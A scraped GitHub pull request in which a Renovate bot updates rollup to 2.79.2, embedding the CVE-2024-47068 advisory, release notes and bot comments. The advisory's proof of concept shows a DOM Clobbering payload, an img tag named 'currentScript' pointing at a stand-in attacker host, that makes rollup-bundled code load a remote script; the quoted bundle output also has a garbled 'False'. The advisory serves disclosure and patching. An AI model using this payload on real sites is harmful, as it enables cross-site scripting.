chore(deps): update dependency rollup to v2.79.2 [security] #49

renovate · 2024-09-25T05:53:00Z

This PR contains the following updates:

Package	Change	Age	Confidence
rollup (source)	`2.75.7` -> `2.79.2`

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

`v2.79.2`

Compare Source

2024-09-26

Bug Fixes

Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#5671)

Pull Requests

#5671: Fix DOM Clobbering CVE (@lukastaegert)

`v2.79.1`

Compare Source

2022-09-22

Bug Fixes

Avoid massive performance degradation when creating thousands of chunks (#4643)

Pull Requests

#4639: fix: typo docs and contributors link in CONTRIBUTING.md (@takurinton)
#4641: Update type definition of resolveId (@ivanjonas)
#4643: Improve performance of chunk naming collision check (@lukastaegert)

`v2.79.0`

Compare Source

2022-08-31

Features

Add amd.forceJsExtensionForImports to enforce using .js extensions for relative AMD imports (#4607)

Pull Requests

#4607: add option to keep extensions for amd (@wh1tevs)

`v2.78.1`

Compare Source

2022-08-19

Bug Fixes

Avoid inferring "arguments" as name for a default export placeholder variable (#4613)

Pull Requests

#4613: Prevent using arguments for generated variable names (@lukastaegert)

`v2.78.0`

Compare Source

2022-08-14

Features

Support writing plugin hooks as objects with a "handler" property (#4600)
Allow changing execution order per plugin hook (#4600)
Add flag to execute plugins in async parallel hooks sequentially (#4600)

Pull Requests

#4600: Allow using objects as hooks to change execution order (@lukastaegert)

`v2.77.3`

Compare Source

2022-08-11

Bug Fixes

Correctly resolve preserveModulesRoot in Vite (#4591)

Pull Requests

#4591: resolve currentPath (@cleverpp)

`v2.77.2`

Compare Source

2022-07-27

Bug Fixes

Avoid a rendering failure when mixing outputs with inlined and non-inlined dynamic imports (#4589)

Pull Requests

#4589: Handle generating non-inlined imports after inlined ones (@lukastaegert)

`v2.77.1`

Compare Source

2.77.1

2022-07-26

Bug Fixes

Ensure IIFE output generates a global variable when generating ES5 (#4588)

Pull Requests

#4577: broken link removed (@Jawad-H)
#4580: Update dependencies (@lukastaegert)
#4584: Documentation clarity and syntax improvements (@berniegp)
#4588: Use var for IIFE (@lukastaegert)

`v2.77.0`

Compare Source

2022-07-15

Features

Introduce maxParallelFileOps to limit both read and write operations, default to 20 and replaces maxParallelFileRead (#4570)

Bug Fixes

Avoid including variables referenced from return statements that are never reached (#4573)

Pull Requests

#4570: Introduce maxParallelFileOps to limit parallel writes (@lukastaegert)
#4572: Document more ways to read package.json in ESM (@berniegp)
#4573: Do not include unused return expressions (@lukastaegert)

`v2.76.0`

Compare Source

2022-07-08

Features

Allow setting a sourcmapBaseUrl for absolute paths in sourcemaps (#4527)

Bug Fixes

Support absolute CLI plugin paths on Windows (#4533)

Pull Requests

#4527: Add sourcemapBaseUrl option (@nickgarlis)
#4533: Add support for absolute plugin paths (@ygoe)
#4538: chore: Included githubactions in the dependabot config (@naveensrinivasan)
#4546: Adapt Node versions on CI to prepare for v3 (@lukastaegert)
#4556: Improve error message for invalid patterns (@DysphoricUnicorn)
#4559: Update dependencies (@lukastaegert)
#4560: Bump peter-evans/create-or-update-comment from 1 to 2 (@dependabot)
#4561: Bump peter-evans/find-comment from 1 to 2 (@dependabot)
#4562: Bump codecov/codecov-action from 1 to 3 (@dependabot)

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

bolt-new-by-stackblitz · 2024-09-25T05:53:03Z

Run & review this pull request in StackBlitz Codeflow.

vercel · 2024-09-25T05:53:04Z

The latest updates on your projects. Learn more about Vercel for Git ↗︎

Name	Status	Preview	Comments	Updated (UTC)
tiptap-dev-demos	❌ Failed (Inspect)			Sep 30, 2024 5:49am

changeset-bot · 2024-09-25T05:53:05Z

⚠️ No Changeset found

Latest commit: 428e471

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

sourcery-ai

We have skipped reviewing this pull request. Here's why:

It seems to have been created by a bot (hey, renovate[bot]!). We assume it knows what it's doing!
We don't review packaging changes - Let us know if you'd like us to change this.

sourcery-ai bot reviewed Sep 25, 2024

View reviewed changes

vercel bot had a problem deploying to Preview September 25, 2024 05:53 Failure

renovate bot changed the title ~~chore(deps): update dependency rollup to v3 [security]~~ chore(deps): update dependency rollup to v3 [security] - autoclosed Sep 27, 2024

renovate bot closed this Sep 27, 2024

renovate bot deleted the renovate/npm-rollup-vulnerability branch September 27, 2024 02:51

renovate bot restored the renovate/npm-rollup-vulnerability branch September 30, 2024 05:48

renovate bot changed the title ~~chore(deps): update dependency rollup to v3 [security] - autoclosed~~ chore(deps): update dependency rollup to v3 [security] Sep 30, 2024

renovate bot reopened this Sep 30, 2024

chore(deps): update dependency rollup to v2.79.2 [security]

428e471

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 198a4bd to 428e471 Compare September 30, 2024 05:49

renovate bot changed the title ~~chore(deps): update dependency rollup to v3 [security]~~ chore(deps): update dependency rollup to v2.79.2 [security] Sep 30, 2024

vercel bot had a problem deploying to Preview September 30, 2024 05:49 Failure

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

chore(deps): update dependency rollup to v2.79.2 [security] #49

chore(deps): update dependency rollup to v2.79.2 [security] #49

Uh oh!

renovate bot commented Sep 25, 2024 •

edited

Loading

Uh oh!

bolt-new-by-stackblitz bot commented Sep 25, 2024

Uh oh!

vercel bot commented Sep 25, 2024 •

edited

Loading

Uh oh!

changeset-bot bot commented Sep 25, 2024 •

edited

Loading

Uh oh!

sourcery-ai bot left a comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

chore(deps): update dependency rollup to v2.79.2 [security] #49

Are you sure you want to change the base?

chore(deps): update dependency rollup to v2.79.2 [security] #49

Uh oh!

Conversation

renovate bot commented Sep 25, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

Summary

Details

Backgrounds

Gadget found in rollup

PoC

Impact

Patch

Release Notes

Bug Fixes

Pull Requests

Bug Fixes

Pull Requests

Features

Pull Requests

Bug Fixes

Pull Requests

Features

Pull Requests

Bug Fixes

Pull Requests

Bug Fixes

Pull Requests

2.77.1

Bug Fixes

Pull Requests

Features

Bug Fixes

Pull Requests

Features

Bug Fixes

Pull Requests

Configuration

Uh oh!

bolt-new-by-stackblitz bot commented Sep 25, 2024

Uh oh!

vercel bot commented Sep 25, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

changeset-bot bot commented Sep 25, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

⚠️ No Changeset found

Uh oh!

sourcery-ai bot left a comment

Choose a reason for hiding this comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

renovate bot commented Sep 25, 2024 •

edited

Loading

Gadget found in `rollup`

vercel bot commented Sep 25, 2024 •

edited

Loading

changeset-bot bot commented Sep 25, 2024 •

edited

Loading